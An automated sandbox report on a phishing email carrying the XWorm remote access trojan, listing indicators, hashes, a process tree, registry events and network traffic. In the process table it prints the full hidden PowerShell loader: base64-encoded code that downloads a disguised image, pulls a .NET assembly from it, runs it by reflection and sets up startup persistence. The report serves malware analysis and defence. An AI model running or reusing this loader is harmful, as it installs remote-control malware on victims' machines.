| File name: | Pago a ventas@upteck.cl,.eml |
| Full analysis: | https://app.any.run/tasks/fda37481-25a2-41f5-b6c7-e9c0b3537d6e |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | September 03, 2025, 16:26:17 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | message/rfc822 |
| File info: | SMTP mail, ISO-8859 text, with CRLF line terminators |
| MD5: | 232444ABC22EBC1440A0AD9112DFB051 |
| SHA1: | 45BBAAF2B1D7292A8A88AFC152D4E94D9386FA14 |
| SHA256: | DC8A64518B34C6CFF90E679F1DF8843E59DE4EA184E0663D32FE3FCC0DF74F9B |
| SSDEEP: | 3072:0QsmREEEJ3u3cB/fdqgzvHhdHPLPqpON9q3Vco6YD3QKXDCLOHTtt:kmREd//VV9BPbLott |
MALICIOUS
XWORM has been found (auto)
- OUTLOOK.EXE (PID: 1592)
- WinRAR.exe (PID: 6668)
May hide the program window using WMI (SCRIPT)
- wscript.exe (PID: 5240)
Run PowerShell with an invisible window
- powershell.exe (PID: 4680)
SUSPICIOUS
The process executes JS scripts
- WinRAR.exe (PID: 6668)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 6668)
Uses WMI to retrieve WMI-managed resources (SCRIPT)
- wscript.exe (PID: 5240)
Creates FileSystem object to access computer's file system (SCRIPT)
- wscript.exe (PID: 5240)
Gets full path of the running script (SCRIPT)
- wscript.exe (PID: 5240)
Creates an object to access WMI (SCRIPT)
- wscript.exe (PID: 5240)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 4680)
Executed via WMI
- powershell.exe (PID: 4680)
INFO
Reads Microsoft Office registry keys
- WinRAR.exe (PID: 6668)
Disables trace logs
- powershell.exe (PID: 4680)
Checks proxy server information
- slui.exe (PID: 2128)
- powershell.exe (PID: 4680)
Reads the software policy settings
- slui.exe (PID: 2128)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 4680)
Found Base64 encoded text manipulation via PowerShell (YARA)
- powershell.exe (PID: 4680)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .eml | | | E-Mail message (Var. 1) (100) |
|---|
Total processes
146
Monitored processes
7
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1488 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1592 | "C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\Pago a ventas@upteck.cl,.eml" | C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 16.0.16026.20146 Modules
| |||||||||||||||
| 2128 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2188 | "C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "5B865B3F-FE1C-434E-9F61-8292C91983F6" "C2439665-0E35-479C-841A-1A7A0FA25187" "1592" | C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe | — | OUTLOOK.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64. Version: 0.12.2.0 Modules
| |||||||||||||||
| 4680 | powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnMGhIZHVJWFprSjNiMDVXWnRsWFl3MVRadEZtYmx4V2FtOXphdWxHYnVJV1ozUm1MelpHY3A1U1o2aFdlaDkyWWg1V04KDTNCbmM2MW1ObHRXWXc5V2M0MUdOa2RqWTFGbWEzZGpkanBuTXpObU1vcEhhamRUYzJRbWVpWkRacFZtWTVaV1lpOXlMNk1IYzBSSGEnOyR0eXBlID0gJGFzc2VtYmx5LkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuSG9tZScpOyRtZXRob2QgPSAkdHlwZS5HZXRNZXRob2QoJ1ZBSScpOyRtZXRob2QuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dQCgkb2xpbmlhLCcxJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdSZWdBc20nLCcnLCdSZWdBc20nLCcwJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCcwJywnVGFza19OYW1lJywnMCcsJ3N0YXJ0dXBfb25zdGFydCcpKTs=')) | Invoke-Expression" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WmiPrvSE.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5240 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa6668.46734\Transferir.js" | C:\Windows\System32\wscript.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 6668 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\PHV9J5OR\Transferir.tar" | C:\Program Files\WinRAR\WinRAR.exe | OUTLOOK.EXE | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
Total events
19 926
Read events
18 723
Write events
1 070
Delete events
133
Modification events
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{02CAC15F-D4BE-400E-9127-D54982AA4AE9} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{11ADBD74-7DF2-4E8E-802B-B3BCBFD04A78} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{287BF315-5A11-4B2F-B069-B761ADE25A49} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{691E1C12-2693-4D4A-852C-7478657BBE6E} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{6B6B571B-F4E3-4FBB-A83F-0790D11D19AB} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor\{AA8FA310-0939-4CE3-B9BB-AE05B2695110} |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ETWMonitor |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ULSMonitor |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (1592) OUTLOOK.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\outlook.exe\ULSMonitor |
| Operation: | write | Name: | ULSTagIds0 |
Value: 17634580,18658649,18409363,18658650,17126295,9319450,17913998,18948102,18658648,16920930,23978014,18637650,18674530,18409416,18948101,16859363,8988293,17182980,9176926,8448079,17913999,17064074,5850463,17182941,17914002,5850305,5898880,5850582,17914003,17182979,17182943,6166345,17182942,22929429,17110992,6636694,17372899,17182981,5898881,5850583,5898849,7218753,5850062,5850584,17372928,17922253,6636695,17182982,5850061,17146274,17914001,6029780,17110988,17913997,17914000,5850525,8709129,20248016 | |||
Executable files
0
Suspicious files
10
Text files
8
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1592 | OUTLOOK.EXE | C:\Users\admin\Documents\Outlook Files\Outlook1.pst | — | |
MD5:— | SHA256:— | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin | text | |
MD5:4C906EE6115FCF5D17503732C7F70494 | SHA256:184D071A303A579B4E180E0D47F941C959913407326483DE26C03E1896DFA5C8 | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres | binary | |
MD5:30B0E9EBD14D1D83E50B543A62769B7A | SHA256:AAD689A23B3F242484B82840E759D534D8DF4C3590491AB222274F786A9A81C5 | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | binary | |
MD5:B0B55B0BFD1F4CE8E6E5ED3BDCBCD9BF | SHA256:8EEA2D3E0CBB70B19964D35E78C173C0C2BEFCAF5792EB17E61C4B1861308749 | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin | text | |
MD5:CC90D669144261B198DEAD45AA266572 | SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899 | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | binary | |
MD5:649F00AC971C88291B4849883676BA69 | SHA256:C7077C11BACA716F82BD9A66699A292B1CFB7700319B6B0CD15EFD5196F6FA0B | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres | binary | |
MD5:F8828F4E568AF2F04109603750825E2A | SHA256:AD946645D30D5C75EAB50B624708611AD7364FC987A0AEE5082A3B47E3C6068B | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres | binary | |
MD5:13FCDDEAA833974A1CEEE80E729ACCDD | SHA256:CE047C5EDD2FA14A0D220BC98AE70F3B5E4CD36D701FA27F4A02BA640F90BEBF | |||
| 1592 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\PHV9J5OR\Transferir.tar:Zone.Identifier | text | |
MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B | SHA256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913 | |||
| 4680 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ubgoiox0.ojl.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
33
DNS requests
25
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.3.109.244:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | DE | binary | 814 b | whitelisted |
1592 | OUTLOOK.EXE | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | DE | binary | 471 b | whitelisted |
1268 | svchost.exe | GET | 200 | 23.216.77.28:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 825 b | whitelisted |
620 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | DE | binary | 407 b | whitelisted |
2940 | svchost.exe | GET | 200 | 69.192.161.44:80 | http://x1.c.lencr.org/ | DE | binary | 734 b | whitelisted |
620 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | DE | binary | 419 b | whitelisted |
3872 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | DE | binary | 471 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5032 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1592 | OUTLOOK.EXE | 52.123.129.14:443 | ecs.office.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
1592 | OUTLOOK.EXE | 23.48.23.11:443 | omex.cdn.office.net | Akamai International B.V. | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1592 | OUTLOOK.EXE | 52.111.240.11:443 | messaging.lifecycle.office.com | MICROSOFT-CORP-MSN-AS-BLOCK | SG | whitelisted |
1592 | OUTLOOK.EXE | 4.251.34.91:443 | nleditor.osi.office.net | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
3872 | svchost.exe | 40.126.31.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
ecs.office.com |
| whitelisted |
omex.cdn.office.net |
| whitelisted |
messaging.lifecycle.office.com |
| whitelisted |
nleditor.osi.office.net |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |